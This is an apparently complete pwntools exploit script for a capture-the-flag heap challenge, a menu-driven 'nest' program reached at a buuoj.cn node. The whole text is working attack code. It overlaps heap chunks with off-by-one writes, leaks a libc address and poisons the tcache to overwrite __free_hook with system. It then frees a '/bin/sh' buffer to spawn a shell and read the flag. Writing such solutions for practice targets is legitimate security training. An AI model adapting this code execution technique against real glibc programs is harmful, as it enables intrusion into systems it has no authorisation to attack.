1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| from pwn import * from LibcSearcher import *
context.clear(arch='amd64', os='linux') elf = context.binary = ELF("bin") libc = elf.libc
context.terminal = ["tmux", "split", "-h"]
gs = ''' # set breakpoint pending on # b system # b *__free_hook continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('node4.buuoj.cn', 28213) else: return process(elf.path)
sla = lambda x,ctn: io.sendlineafter(x, ctn) sa = lambda x, value: io.sendafter(x, value)
nestId = [0] * 10 def build(full, data): global nestId sla(b'Your choice :', b'1') sla(b"how big is the nest ?", str(full).encode()) sa(b"what stuff you wanna put in the nest?", data) id = -1 for i in range(10): if nestId[i] == 0: id = i nestId[i] = 1 break return id
def decorate(id, data): sla(b'Your choice :', b'2') sla(b"Index :", str(id).encode()) sa(b"what stuff you wanna put in the nest?", data)
def show(id): sla(b'Your choice :', b'3') sla(b"Index :", str(id).encode()) io.recvuntil(b"Size : ") size = int(io.recvuntil(b"\n", drop=True)) io.recvuntil(b"Decorations : ") data = io.recvuntil(b"\nDone !\n", drop=True) return size, data
def crash(id): global nestId sla(b'Your choice :', b'4') sla(b"Index :", str(id).encode()) nestId[id] = 0
def leave(): sla(b'Your choice :', b'5')
io = start()
io.timeout = 3000
full = 0xa0 - 8 half = 0x50 - 8
A = build(0x18, b'A') B = build(0x18, b'B')
crash(B) crash(A)
A = build(half, b'A') B = build(half, b'B') C = build(half, b'C') D = build(half, b'D')
decorate(A, b'A'*half + p8(full + 8 + 1)) decorate(B, b'B'*half + p8(full + 8 + 1))
crash(B) B = build(full, b'B' )
crash(D)
fill = [] for i in range(7): fill.append(build(full, b'F'))
for i in range(7): crash(fill[i])
crash(C)
decorate(B, b'B'*(half+8)) Bsize, Bdata = show(B)
arena = u64(Bdata[half+8:].ljust(8,b'\0') ) - 0x60 log.success(f"arena : {hex(arena)}")
libc.address = arena - (libc.sym['__malloc_hook'] + 0x10)
decorate(B, b'B'*half + p64(half+8+1))
D = build(half, b'D') C = build(half, b'C')
crash(D) crash(C) decorate(B, b'B'*(half) + p64(half+8+1) + p64(libc.sym.__free_hook) )
C = build(half, b'/bin/sh\0') free_hook_chunk = build(half, p64(libc.sym.system)) crash(C)
time.sleep(0.2) io.sendline(b"cat flag") ctn = io.recv() log.success(f"flag : {ctn}")
io.close()
|
v1.5.2